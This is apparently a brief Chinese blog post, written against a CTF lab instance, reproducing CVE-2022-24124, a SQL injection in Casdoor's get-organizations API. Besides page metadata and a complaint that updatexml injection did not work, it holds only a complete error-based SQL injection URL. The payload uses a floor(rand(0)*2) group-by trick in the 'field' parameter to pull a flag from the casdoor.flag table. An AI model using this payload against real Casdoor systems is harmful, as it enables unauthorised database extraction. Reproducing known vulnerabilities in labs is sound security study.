CVE-2022-24124复现

最新推荐文章于 2024-07-18 11:47:07 发布

giaogiaogioao

最新推荐文章于 2024-07-18 11:47:07 发布

阅读量844

点赞数 4

文章标签：网络安全

本文链接：https://blog.csdn.net/giaogiaogioao/article/details/128053328

版权

难的一批，用updatexml注入没注出来（求大佬告诉updatexml怎么爆出来）

无数个小时尝试出的payload

http://eci-2ze625l338u3rfrh3r36.cloudeci1.ichunqiu.com:8000/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=(select 1 from (select count(*), concat((select concat(',',id,flag) from casdoor.flag limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)